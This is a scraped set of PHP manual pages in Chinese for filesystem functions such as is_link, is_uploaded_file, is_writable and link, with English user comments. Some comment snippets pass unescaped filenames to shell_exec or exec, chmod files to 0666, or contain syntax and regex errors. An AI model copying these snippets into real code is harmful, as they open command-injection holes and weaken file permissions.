        $b = $b | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b;
        if(count($buffer) < ($i + 4))
            return false;

        $c = ord($buffer[$i]);
        $c = $c | (ord($buffer[++$i]) << 8);
        $c = $c | (ord($buffer[++$i]) << 16);
        $c = $c | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b + $c;
        if(count($buffer) < ($i +1))
            return false;

        $linkedTarget = "";
        for(;$i < count($buffer); ++$i)
        {
            if(!ord($buffer[$i]))
                break;

            $linkedTarget .= $buffer[$i];
        }

        if(empty($linkedTarget))
            return false;

        return $linkedTarget;
    }

    return false;
}

if(_is_link('test.lnk'))
{
    echo _readlink('test.lnk');
}
?>
foobarfarter 18-Oct-2008 03:06
@radon8472 at hotmail dot com
The windows .lnk-things are real files, the explorer only treats them like links. Try to open one with Win+R->"notepad X:\Path\Visiblefilename.lnk You will see much 0-Bytes, but the linked path is displayed right on the screen. It should be possible to do the same by php.
radon8472 at hotmail dot com 31-Jul-2008 09:38
This function returns "false" for windows *.lnk files (tested under windows XP).

filetype also returns "file" an not "link" like expected.

I didn`t find a solution for this.
mbirth at webwriters dot de 20-May-2008 08:24
To find out whether a file is hardlinked to another filename, check the number of links of the stat() output. If it is >1 there is another filename for that file.

To find out whether two filenames are pointing to the same file, check the inode number of those 2 filenames. If it is equal, the 2 filenames are hardlinked together.
neverpanic->gmail[com] 30-Dec-2006 02:50
For me (Debian Sarge VPS) is_link returns true even for directories if you don't add a trailing slash to the filename.
<?php
if ($dir{strlen($dir)-1} == '/') $dir = substr($dir, 0, -1);
is_link($dir);
?>
This works for me. It can't detect a symlink somewhere in a complete path, though (i.e. is_link(/www/somedir/file.php) will return false, just as is_link(/www/) would)
brendy at gmail dot com 05-May-2006 07:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
    set checkFileStr to "{$filename}"
    set checkFile to checkFileStr as POSIX file
    try
        tell application "Finder"
            if original item of file checkFile exists then
                set targetFile to (original item of file checkFile) as alias
                set posTargetFile to POSIX path of targetFile as text
                get posTargetFile
            end if
        end tell
    end try
    -- END APPLESCRIPT --
HEREDOC;
$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
andudi at gmx dot ch 02-Jun-2002 10:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick


判断给定文件名是否可读

  • ? is_link
  • is_uploaded_file ?
  • PHP Manual
  • 文件系统函数
  • 判断给定文件名是否可读

is_readable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_readable — 判断给定文件名是否可读

说明

is_readable(string $filename): bool

判断给定文件名是否存在并且可读。

参数

filename

文件的路径。

返回值

如果由 filename 指定的文件或目录存在并且可读则返回 true，否则返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 is_readable() 例子

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
echo 'The file is readable';
} else {
echo 'The file is not readable';
}
?>

注释

记住 PHP 也许只能以运行 webserver 的用户名（通常为 'nobody'）来访问文件。不计入安全模式的限制。

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

Note:

The check is done using the real UID/GID instead of the effective one.

对于目录这个函数可能会返回 true。请使用 is_dir() 来区分文件和目录。

参见

  • is_writable() - 判断给定的文件名是否可写
  • file_exists() - 检查文件或目录是否存在
  • fgets() - 从文件指针中读取一行

User Contributed Notes

arikan134 at gmail dot com 17-Jan-2016 12:12
is readable recursively. Check all sub directories and files readable
<?php
function is_readable_r($dir) {
    if (is_dir($dir)) {
        if(is_readable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_readable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_readable($dir));

    }
}

?>
pgl at yoyo dot org 31-Jul-2009 07:13
Note that is_readable() will return false for streams, eg, php://stdin.
jo at durchholz dot org 30-Jan-2006 09:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
26-Jul-2005 07:08
Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.


判断文件是否是通过 HTTP POST 上传的

  • ? is_readable
  • is_writable ?
  • PHP Manual
  • 文件系统函数
  • 判断文件是否是通过 HTTP POST 上传的

is_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的

说明

is_uploaded_file(string $filename): bool

如果 filename 所给出的文件是通过 HTTP POST 上传的则返回 true。这可以用来确保恶意的用户无法欺骗脚本去访问本不能访问的文件，例如 /etc/passwd。

这种检查显得格外重要，如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。

为了能使 is_uploaded_file() 函数正常工作，必须指定类似于 $_FILES['userfile']['tmp_name'] 的变量，而在从客户端上传的文件名 $_FILES['userfile']['name'] 不能正常运作。

参数

filename

要检查的文件名。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 is_uploaded_file() 例子

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
echo "File ". $_FILES['userfile']['name'] ." uploaded successfully.\n";
echo "Displaying contents\n";
readfile($_FILES['userfile']['tmp_name']);
} else {
echo "Possible file upload attack: ";
echo "filename '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

参见

  • move_uploaded_file() - 将上传的文件移动到新位置
  • $_FILES
  • 关于用法的简单例子 文件上传处理

User Contributed Notes

Robert Lerner 04-Dec-2015 03:42
To expand on what nicoSWD stated about this function.

Any script working with the temporary file $_FILES[]['tmp_name'] should call this function.

In any case where the script is modified to unlink(), rename() or otherwise modify the file that IS NOT move_uploaded_file() will not have the upload checked.

Likewise, most file operations are cached in PHP, therefore there should be minimal performance hit running is_uploaded_file before move_uploaded_file, since it will usually used a cached result for the latter.

The security benefits outweigh the microsecond difference in performance in any event, and should universally be used as soon as the $_FILES array is first entered into an application. While there may not be an immediate issue, code evolves and could quickly change this fact.
nicoSWD 28-Nov-2013 04:39
Note that calling this function before move_uploaded_file() is not necessary, as it does the exact same checks already. It provides no extra security. Only when you're trying to use an uploaded file for something other than moving it to a new location.

Reference:
https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5796
Anonymous 07-Oct-2013 11:08
Here is my code for file handler, i hope it help to all:

First a class to handler file upload:
<?php
    define('UPLOAD_PATH', 'upload/');
    define('MAXIMUM_FILESIZE', '10485760'); //10 MB
    class FileHandler
    {
        private $file_types = array('xls', 'xlsx');
        private $files = null;
        private $filename_sanitized = null;
        private $filename_original = null;

        public function __construct($files)
        {
            $this->files = $files;
        }

        public function setFileTypes($fileTypes = array())
        {
            $this->file_types = $fileTypes;
            return $this;
        }

        public function setFileNameOriginal($filename)
        {
            $this->filename_original = $filename;
        }

        public function fileNameOriginal()
        {
            return $this->filename_original;
        }

        public function sanitize($cursor = 0)
        {
            $this->setFileNameOriginal($this->files['name'][$cursor]);

            $safe_filename = preg_replace(
                    array("/\s+/", "/[^-\.\w]+/"),
                    array("_", ""),
                    trim($this->fileNameOriginal()));
            $this->filename_sanitized  = md5($safe_filename.time()).$safe_filename;
            return $this;
        }

        public function fileSize($cursor = 0)
        {
            return $this->files['size'][$cursor];
        }

        public function extensionValid()
        {
            $fileTypes = implode('|', $this->file_types);
            $rEFileTypes = "/^\.($fileTypes){1}$/i";
            if(!preg_match($rEFileTypes, strrchr($this->filename_sanitized, '.')))
                throw new Exception('No se pudo encontrar el tipo de archivo apropiado');

            return $this;
        }

        public function isUploadedFile($cursor)
        {
            if(!is_uploaded_file($this->files['tmp_name'][$cursor]))
            {
                throw new Exception("No se obtuvo la carga del archivo");
            }
        }

        public function saveUploadedFile($cursor)
        {
            if(!move_uploaded_file ($this->files['tmp_name'][$cursor],UPLOAD_PATH.$this->filename_sanitized))
                throw new Exception("No se consigui&oacute; guardar el archivo");
        }

        public function fileNameSanitized()
        {
            return $this->filename_sanitized;
        }

        public function uploadFile($cursor = 0)
        {
            $this->isUploadedFile($cursor);
            if ($this->sanitize($cursor)->fileSize($cursor) <= MAXIMUM_FILESIZE)
            {
                $this->extensionValid()->saveUploadedFile($cursor);
            }
            else
            {
                throw new Exception("El archivo es demasiado grande.");
            }
            return $name;
        }

    }

?>

Next a part of code to use the class

<?php
//form is submited  and detect that
if ($form_submited == 1)
{
    try
    {
                //i assume de input file is:
                /*
                       <input id="<?php echo EXCEL_FILE;?>[]" name="<?php echo EXCEL_FILE;?>[]" type="file"/>
                       where EXCEL_FILE is the constant:
                       define('EXCEL_FILE', 'excel_file');
                */
        $file = new FileHandler($_FILES['excel_file']);
        $inputFileName = $file->uploadFile()->fileNameSanitized();  // File to read
                ...

    }
    catch(Exception $e)
    {
        die('Error cargando archivo "'.($file->fileNameOriginal()).'": '.$e->getMessage());
    }

}
?>
uramihsayibok, gmail, com 12-Aug-2007 09:18
It isn't mentioned anywhere that I've seen, but $filename *is* case-sensitive on Windows.
It means that while C:\Windows\TEMP\php123.tmp may have been uploaded, C:\Windows\Temp\php123.tmp was not.

I found this out because I was using realpath() on the filename which 'fixed' the case (my Temp folder is in titlecase, not uppercase - thank you Vista).

Anyways, the problem was that PHP used %TEMP% to determine the destination for the uploaded file, and %TEMP% used the all-capitals version of the path. Changing it to use titlecase instead + restarting Apache fixed the problem.
YLearn 10-Oct-2005 10:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn 10-Oct-2005 09:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
    default: //a default error, just in case!  :)
        echo "There was a problem with your upload.";
        $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
        if ((strpos($err_msg, "\n") === 0) {
            $err_lines = explode("\n", $err_msg);
            foreach ($err_lines as $msg) {
                error_log($msg, 0);
            }
        } else {
            error_log($err_msg, 0)
        }
        break;
?>
juk 18-Sep-2005 03:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat 14-Jul-2005 04:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
23-Apr-2005 12:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com 15-Apr-2005 04:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com 06-Feb-2005 09:13
if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
info at metaltoad dot net 19-Feb-2003 01:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
    case 0: //no error; possible file attack!
      echo "There was a problem with your upload.";
      break;
    case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
      echo "The file you are trying to upload is too big.";
      break;
    case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
      echo "The file you are trying to upload is too big.";
      break;
    case 3: //uploaded file was only partially uploaded
      echo "The file you are trying upload was only partially uploaded.";
      break;
    case 4: //no file was uploaded
      echo "You must select an image for upload.";
      break;
    default: //a default error, just in case!  :)
      echo "There was a problem with your upload.";
      break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk 28-Nov-2002 06:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk 14-Oct-2002 12:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    global $HTTP_POST_FILES;
    if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
        $tmp_file = dirname(tempnam("", ""));
    }
    $tmp_file .= "/" . basename($filename);
    /* User might have trailing slash in php.ini... */
    // fix for win platform
    $filename = str_replace ("\\", "/", $filename);
    return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>


判断给定的文件名是否可写

  • ? is_uploaded_file
  • is_writeable ?
  • PHP Manual
  • 文件系统函数
  • 判断给定的文件名是否可写

is_writable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writable — 判断给定的文件名是否可写

说明

is_writable(string $filename): bool

如果文件存在并且可写则返回 true。filename 参数可以是一个允许进行是否可写检查的目录名。

记住 PHP 也许只能以运行 webserver 的用户名（通常为 'nobody'）来访问文件。

参数

filename

要检查的文件名称。

返回值

如果文件 filename 存在并且可写则返回 true。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 is_writable() 例子

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
echo 'The file is writable';
} else {
echo 'The file is not writable';
}
?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • is_readable() - 判断给定文件名是否可读
  • file_exists() - 检查文件或目录是否存在
  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

develop at radon-software dot net 11-Aug-2022 09:48
This function returns always false on windows, when you check an network drive.

See PHP Bug https://bugs.php.net/bug.php?id=68926
See https://stackoverflow.com/q/54904676
helvete at bahno dot net 09-Feb-2017 01:58
Be warned, that is_writable returns false for non-existent files, although they can be written to the queried path.
arikan134 at gmail dot com 17-Jan-2016 12:04
Check director is writable recursively. to return true, all of directory contents  must be writable

<?php
function is_writable_r($dir) {
    if (is_dir($dir)) {
        if(is_writable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_writable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_writable($dir));

    }
}

?>
shkkmo at gmail dot com 29-Jan-2015 02:32
I'd like to also clarify a point on this. Even if you see 777 permissions for the directly, you may need to check your ACL, since your server's group might not have write permissions there.
samuel dot zallocco at univaq dot it 23-Jul-2014 12:57
Check if a directory is writable. Work also on mounted SMB shares:

function isWritablePath($home, $xpath) {
    $isOK = false;
    $path = trim($xpath);
    if ( ($path!="") && (strpos($path,$home)!==false)  && is_dir($path) && is_writable($path) ) {
        $tmpfile = "mPC_".uniqid(mt_rand()).'.writable';
        $fullpathname = str_replace('//','/',$path."/".$tmpfile);
        $fp = @fopen($fullpathname,"w");
        if ($fp !== false) {
            $isOK = true;
        }
        @fclose($fp);
        @unlink($fullpathname);
    }
    return $isOK;

}
yury dot gugnin at gmail dot com 04-Mar-2014 11:34
function is_writable('ftp://user.....') always return false. I can create/delete files, but can check is writable. Is this bug or php feature :)?
gr 05-Oct-2010 03:32
The results of this function seems to be not cached :
Tested on linux and windows

<?php
chmod($s_pathFichier, 0400);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
chmod($s_pathFichier, 04600);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
exit;
?>
starrychloe at yahoo dot com 10-Feb-2008 05:50
To Darek and F Dot: About group permissions, there is this note in the php.ini file:
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
legolas558 d0t users dot sf dot net 02-Mar-2007 12:18
This is the latest version of is__writable() I could come up with.
It can accept files or folders, but folders should end with a trailing slash! The function attempts to actually write a file, so it will correctly return true when a file/folder can be written to when the user has ACL write access to it.

<?php
function is__writable($path) {
//will work in despite of Windows ACLs bug
//NOTE: use a trailing slash for folders!!!
//see http://bugs.php.net/bug.php?id=27609
//see http://bugs.php.net/bug.php?id=30931

    if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
        return is__writable($path.uniqid(mt_rand()).'.tmp');
    else if (is_dir($path))
        return is__writable($path.'/'.uniqid(mt_rand()).'.tmp');
    // check tmp file for read/write capabilities
    $rm = file_exists($path);
    $f = @fopen($path, 'a');
    if ($f===false)
        return false;
    fclose($f);
    if (!$rm)
        unlink($path);
    return true;
}
?>
legolas558 dot sourceforge comma net 13-Jul-2006 01:17
Since looks like the Windows ACLs bug "wont fix" (see http://bugs.php.net/bug.php?id=27609) I propose this alternative function:

<?php

function is__writable($path) {

if ($path{strlen($path)-1}=='/')
    return is__writable($path.uniqid(mt_rand()).'.tmp');

if (file_exists($path)) {
    if (!($f = @fopen($path, 'r+')))
        return false;
    fclose($f);
    return true;
}

if (!($f = @fopen($path, 'w')))
    return false;
fclose($f);
unlink($path);
return true;
}

?>

It should work both on *nix and Windows

NOTE: you must use a trailing slash to identify a directory
greg at gregwhitescarver dotcalm 07-Feb-2006 06:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com 31-Jan-2006 10:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x           root         wheel          /etc/some.file
JimmyNighthawk 12-Sep-2005 02:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch 06-Apr-2004 04:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com 02-Apr-2004 04:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
    function file_write($filename, &$content) {
        if (!is_writable($filename)) {
            if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
            };
        }
        if (!$fp = @fopen($filename, "w")) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }
?>


is_writable 的别名

  • ? is_writable
  • lchgrp ?
  • PHP Manual
  • 文件系统函数
  • is_writable 的别名

is_writeable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writeable — is_writable() 的别名

说明

此函数是该函数的别名：is_writable()。

User Contributed Notes

hsh at autowise dot dk 12-Dec-2016 12:43
A tiny benefit of using is_writeable() instead of is_writable() is that is_writable() will pollute search results when searching source code for files containing the word "table".

Writeable is an alternative and not as frequently used (but still absolutely correct) spelling of writable.


修改符号链接的所有组

  • ? is_writeable
  • lchown ?
  • PHP Manual
  • 文件系统函数
  • 修改符号链接的所有组

lchgrp

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchgrp — 修改符号链接的所有组

说明

lchgrp(string $filename, string|int $group): bool

尝试修改符号链接 filename 的所有组 group

只有超级用户可以任意修改符号链接的所有组;其他用户可能需要有修改目标组的权限才能修改至目标所有组。

参数

filename

符号链接路径

group

所有组的名字或者编号

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 更改符号链接的所有组

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchgrp($link, 8);
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 此函数未在 Windows 平台下实现。

参见

  • chgrp() - 改变文件所属的组
  • lchown() - 修改符号链接的所有者
  • chown() - 改变文件的所有者
  • chmod() - 改变文件模式

User Contributed Notes

There are no user contributed notes for this page.


修改符号链接的所有者

  • ? lchgrp
  • link ?
  • PHP Manual
  • 文件系统函数
  • 修改符号链接的所有者

lchown

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchown — 修改符号链接的所有者

说明

lchown(string $filename, string|int $user): bool

尝试修改符号链接 filename 的 所有者 user

只有超级用户任意修改符号链接的所有者。

参数

filename

文件路径。

user

所有者名称或编号

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Changing the owner of a symbolic link

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchown($link, 8);
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 此函数未在 Windows 平台下实现。

参见

  • chown() - 改变文件的所有者
  • lchgrp() - 修改符号链接的所有组
  • chgrp() - 改变文件所属的组
  • chmod() - 改变文件模式

User Contributed Notes

There are no user contributed notes for this page.


建立一个硬连接

  • ? lchown
  • linkinfo ?
  • PHP Manual
  • 文件系统函数
  • 建立一个硬连接

link

(PHP 4, PHP 5, PHP 7, PHP 8)

link — 建立一个硬连接

说明

link(string $target, string $link): bool

link() 建立一个硬连接。

参数

target

要链接的目标。

link

链接的名称。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果 link 已存在或者 target 不存在，此函数会失败并发出 E_WARNING。

示例

Example #1 创建简单的硬链接

<?php
$target = 'source.ext'; // This is the file that already exists
$link = 'newfile.ext'; // This the filename that you want to link it to

link($target, $link);
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 仅适用于 Windows：此函数需要 PHP 在提升模式或者禁用 UAC 时运行。

参见

  • symlink() - 建立符号连接
  • readlink() - 返回符号连接指向的目标
  • linkinfo() - 获取一个连接的信息
  • unlink() - 删除文件

User Contributed Notes

crashulater at virtualcrash dot com 14-Jul-2018 07:17
In at least php-5.3 (linux-2.6.38.6) a process owned by apache could make a link() in a directory owned by apache, to a file owned by webmaster to which it had group read permissions. In php-7.0 (linux-4.13.16) that results in a "permission denied". Either the target file must be owned by apache or one must use copy() instead (so that ownership changes to apache).
Anonymous 16-Oct-2009 01:54
to clarify:

in unix/linux:
hardlinks (by this function) cannot go across different filesystems.
softlinks can point anywhere.

in linux, hardlinking to directory is not permited.
Jasper Bekkers 02-Aug-2006 07:16
For a backup utility I needed link-like functionality on a windows system. As it isn't availible on windows, i tried to do it myself with the help of some tools. All you need is junction.exe from sysinternals in your %PATH%.

<?php
if(!function_exists('link')){ // Assume a windows system
    function link($target, $link){
        if(is_dir($target)){
            // junctions link to directories in windows
            exec("junction $link $target", $lines, $val);
            return 0 == $val;
        }elseif(is_file($target)){
            // Hardlinks link to files in windows
            exec("fsutil hardlink create $link $target", $lines, $val);
            return 0 == $val;
        }

        return false;
    }
}
?>

http://www.sysinternals.com/Utilities/Junction.html
Guilherme Garnier 25-Apr-2006 11:32
I noticed that, differently from Unix ln command, the second parameter can′t be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/   // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");   // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");   // ok, creates /dir2/file link


获取一个连接的信息

  • ? link
  • lstat ?
  • PHP Manual
  • 文件系统函数
  • 获取一个连接的信息

linkinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

linkinfo — 获取一个连接的信息

说明

linkinfo(string $path): int|false

获取一个连接的信息。

本函数用来验证一个连接（由 path 所指向的）是否确实存在（使用 stat.h 中的 S_ISLNK 宏同样的方法）。

参数

path

连接的路径。

返回值

linkinfo() 返回 lstat 系统调用所返回的 UNIX C stat 结构中的 st_dev 字段。成功时返回非负数，如果链接未找到则返回 -1，如果跟 open.base_dir 冲突则返回 false。

示例

Example #1 linkinfo() 例子

<?php

echo linkinfo('/vmlinuz'); // 835

?>

参见

  • symlink() - 建立符号连接
  • link() - 建立一个硬连接
  • readlink() - 返回符号连接指向的目标

User Contributed Notes

There are no user contributed notes for this page.


给出一个文件或符号连接的信息

  • ? linkinfo
  • mkdir ?
  • PHP Manual
  • 文件系统函数
  • 给出一个文件或符号连接的信息

lstat

(PHP 4, PHP 5, PHP 7, PHP 8)

lstat — 给出一个文件或符号连接的信息

说明

lstat(string $filename): array|false

获取由 filename 指定的文件或符号连接的统计信息。

参数

filename

文件或符号连接的路径。

返回值

有关 lstat() 返回的数组结构见手册中 stat() 函数的页面。 本函数和 stat() 函数相同，只除了如果 filename 参数是符号连接的话，则该符号连接的状态被返回，而不是该符号连接所指向的文件的状态。

失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 stat() 和 lstat() 的对照

<?php
symlink('uploads.php', 'uploads');

// Contrast information for uploads.php and uploads
array_diff(stat('uploads'), lstat('uploads'));
?>

以上示例的输出类似于：

Information that differs between the two files.

Array
(
    [ino] => 97236376
    [mode] => 33188
    [size] => 34
    [atime] => 1223580003
    [mtime] => 1223581848
    [ctime] => 1223581848
    [blocks] => 8
)

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • stat() - 给出文件的信息

User Contributed Notes

HP@SG 11-Nov-2020 06:47
Just for information and in reply to a previous message left 4 years ago by "salsi at icosaedro dot it" :

Files larger than 2 GiB can be handled on 64-bit Linux systems.

My test in a terminal is as follow (using <?php ;?> tags to colour the results for ease of reading) :

$ php -v

<?php
"
PHP 7.2.24-0ubuntu0.18.04.7 (cli) (built: Oct  7 2020 15:24:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.7, Copyright (c) 1999-2018, by Zend Technologies
"
;?>

$ date ; dd if=/dev/zero of=/tmp/php_test_huge bs=1024K count=2100 ; date ; ls -l /tmp/php_test_huge

<?php
"
Wed Nov 11 15:35:46 +08 2020
2100+0 records in
2100+0 records out
2202009600 bytes (2.2 GB, 2.1 GiB) copied, 4.79192 s, 460 MB/s
Wed Nov 11 15:35:51 +08 2020
-rw-r--r-- 1 harold harold 2202009600 Nov 11 15:35 /tmp/php_test_huge
"
;?>

$ php -r 'var_dump(lstat("/tmp/php_test_huge"));'

<?php
"
array(26) {
  [0]=>
  int(2050)
  [1]=>
  int(19923027)
  [2]=>
  int(33188)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(1000)
  [6]=>
  int(0)
  [7]=>
